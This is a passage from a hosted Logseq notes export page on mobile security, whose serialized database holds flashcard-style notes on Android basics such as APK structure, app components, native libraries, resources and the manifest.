Hosted-Notes/mobsec/index.html
2025-02-22 10:15:07 +01:00

64 lines
620 KiB
HTML
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<head><meta charset="utf-8"></meta>
<meta content="minimum-scale=1, initial-scale=1, width=device-width, shrink-to-fit=no" name="viewport"></meta>
<link type="text/css" href="static/css/tabler-icons.min.css" rel="stylesheet"></link>
<link type="text/css" href="static/css/style.css" rel="stylesheet"></link>
<link type="text/css" href="static/css/custom.css" rel="stylesheet"></link>
<link type="text/css" href="static/css/export.css" rel="stylesheet"></link>
<link href="static/img/logo.png" type="image/png" rel="shortcut icon"></link>
<link href="static/img/logo.png" sizes="192x192" rel="shortcut icon"></link>
<link href="static/img/logo.png" rel="apple-touch-icon"></link>
<meta name="apple-mobile-web-app-title"></meta>
<meta name="apple-mobile-web-app-capable" content="yes"></meta>
<meta name="apple-touch-fullscreen" content="yes"></meta>
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"></meta>
<meta name="mobile-web-app-capable" content="yes"></meta>
<meta property="og:title"></meta>
<meta content="site" property="og:type"></meta>
<meta content="static/img/logo.png" property="og:image"></meta>
<meta property="og:description"></meta>
<title></title>
<meta property="og:site_name"></meta>
<meta></meta>
</head>
<body><div id="root"></div>
<script>window.logseq_db="[logseq____&quot;~#datascript/DBlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:schemalogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:ast/versionlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:file/contentlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/properties-text-valueslogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/aliaslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:db/valueTypelogseq____&quot;,logseq____&quot;~:db.type/reflogseq____&quot;,logseq____&quot;~:db/cardinalitylogseq____&quot;,logseq____&quot;~:db.cardinality/manylogseq____&quot;],logseq____&quot;~:block/pre-block?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/uuidlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:db/uniquelogseq____&quot;,logseq____&quot;~:db.unique/identitylogseq____&quot;],logseq____&quot;~:block/prioritylogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/propertieslogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/journal?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/namespacelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;],logseq____&quot;~:block/updated-atlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/repeated?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:db/typelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:file/handlelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/leftlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;~:db/indexlogseq____&quot;,true],logseq____&quot;~:block/refslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:block/scheduledlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/properties-orderlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/created-atlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/deadlinelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/collapsed?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^Glogseq____&quot;,true],logseq____&quot;~:block/journal-daylogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/formatlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/tagslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:block/contentlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:recent/pageslogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/macroslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:db/identlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:block/path-refslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:block/parentlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^Glogseq____&quot;,true],logseq____&quot;~:block/typelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/pagelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^Glogseq____&quot;,true],logseq____&quot;~:block/namelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:file/pathlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:block/filelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;],logseq____&quot;~:block/markerlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/original-namelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:schema/versionlogseq____&quot;,[logseq____&quot;^ logseq____&quot;]],logseq____&quot;~:datomslogseq____&quot;,[logseq____&quot;~#listlogseq____&quot;,[[logseq____&quot;~#datascript/Datomlogseq____&quot;,[1,logseq____&quot;^12logseq____&quot;,2,536870913]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;cardlogseq____&quot;,536870913]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^11logseq____&quot;,logseq____&quot;cardlogseq____&quot;,536870913]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-6e3c-434e-b59f-7ca13d3d71bdlogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;canceledlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^11logseq____&quot;,logseq____&quot;CANCELEDlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u010777fc-fc4d-4d9d-8946-16fd938eb444logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;todologseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^11logseq____&quot;,logseq____&quot;TODOlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u346701f9-0061-4b79-94d9-02b945ef39d4logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;nowlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^11logseq____&quot;,logseq____&quot;NOWlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ue5574437-bf8f-4d28-b4b5-8a4ba0d1490dlogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;laterlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^11logseq____&quot;,logseq____&quot;LATERlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u9f1cfa00-38f6-4e6a-ae7b-9692f95f985alogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;donelogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^11logseq____&quot;,logseq____&quot;DONElogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u4bd79662-1f82-4989-a94f-9655fa75020flogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;doinglogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^11logseq____&quot;,logseq____&quot;DOINGlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u6e6bcb86-940d-4002-9132-88ad7fd87b52logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;in-progresslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^11logseq____&quot;,logseq____&quot;IN-PROGRESSlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^;logseq____&quot;,logseq____&quot;~uab743b10-f4d3-4149-90f9-f755f0fab98flogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;clogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^11logseq____&quot;,logseq____&quot;Clogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u70305778-b728-434a-a3c2-e4dbc06f23belogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;blogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^11logseq____&quot;,logseq____&quot;Blogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u25248f2a-467c-4256-bad6-9d12ed6eb3aflogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;contentslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^11logseq____&quot;,logseq____&quot;Contentslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ueaa0a5ae-b79d-4fb8-9a37-92dec13cb999logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;waitinglogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^11logseq____&quot;,logseq____&quot;WAITINGlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u3a18106f-68d8-4296-8770-149dc461c7d0logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;favoriteslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^11logseq____&quot;,logseq____&quot;Favoriteslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ud497fdcd-2f79-428d-a896-786f6350ffb9logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;alogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^11logseq____&quot;,logseq____&quot;Alogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u5cf59229-1bcf-4c78-a1b1-656a87bc571dlogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;cancelledlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^11logseq____&quot;,logseq____&quot;CANCELLEDlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^;logseq____&quot;,logseq____&quot;~uffa865ff-7b0b-40fd-9ebb-a9f0470d07b5logseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;waitlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^11logseq____&quot;,logseq____&quot;WAITlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ud5337e46-96f8-4f8f-86a9-ad95145a42cblogseq____&quot;,536873216]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Ologseq____&quot;,logseq____&quot;~:markdownlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Flogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Xlogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Vlogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Ulogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-a905-406b-b453-fad4fa5ed559logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;apk (android package)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^11logseq____&quot;,logseq____&quot;APK (Android Package)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5902-4187-ab8c-9fe08abc239alogseq____&quot;,536873233]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Klogseq____&quot;,1740128172076,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873716]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^11logseq____&quot;,logseq____&quot;android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Blogseq____&quot;,1740128172076,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-8d24-4205-a6fa-cc320912efa6logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;content provider componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^11logseq____&quot;,logseq____&quot;Content Provider Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^Blogseq____&quot;,1740133423356,536872684]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b2e2-4556-b3ad-d901f35ed86clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;service componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^11logseq____&quot;,logseq____&quot;Service Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-1008-4728-b76a-213ebe0323d0logseq____&quot;,536873233]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;activity componentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^11logseq____&quot;,logseq____&quot;Activity Componentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9b90-43fb-90b5-27cf47cfe5c7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;application manifestlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^11logseq____&quot;,logseq____&quot;Application Manifestlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^Blogseq____&quot;,1740129740002,536871584]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5253-4c77-b815-6d8389b04fcflogseq____&quot;,536873236]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Simply a *packaging format* (similar to `zip` or `jar`)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Flogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Vlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-c5ac-4c34-b494-6d145a75719dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Structure: #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Flogseq____&quot;,29,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Vlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:headinglogseq____&quot;,2],536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Jlogseq____&quot;,[],536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Hlogseq____&quot;,2,536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Hlogseq____&quot;,24,536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-d8f0-4da3-b776-987482f63ce6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Components ([[Activity]], [[Service Components]], [[Content Provider]] etc.)logseq____&quot;,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Flogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,25,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,27,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,411,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,412,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Hlogseq____&quot;,26,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Hlogseq____&quot;,411,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Hlogseq____&quot;,412,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-1606-4ab2-a422-d276e409c9d0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Native Code (`C`/`C++` shared libraries) that can be linked dynamically into the processlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Flogseq____&quot;,31,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-d8ca-46d8-97ca-6ccb4a15e44dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Resources (images, strings)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Flogseq____&quot;,32,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-eb74-464e-8b3c-33ebcf297a51logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`META-INF` (application certificate, package manifest)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Flogseq____&quot;,33,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-3432-4b02-8517-ba4278b54aeelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[[Application 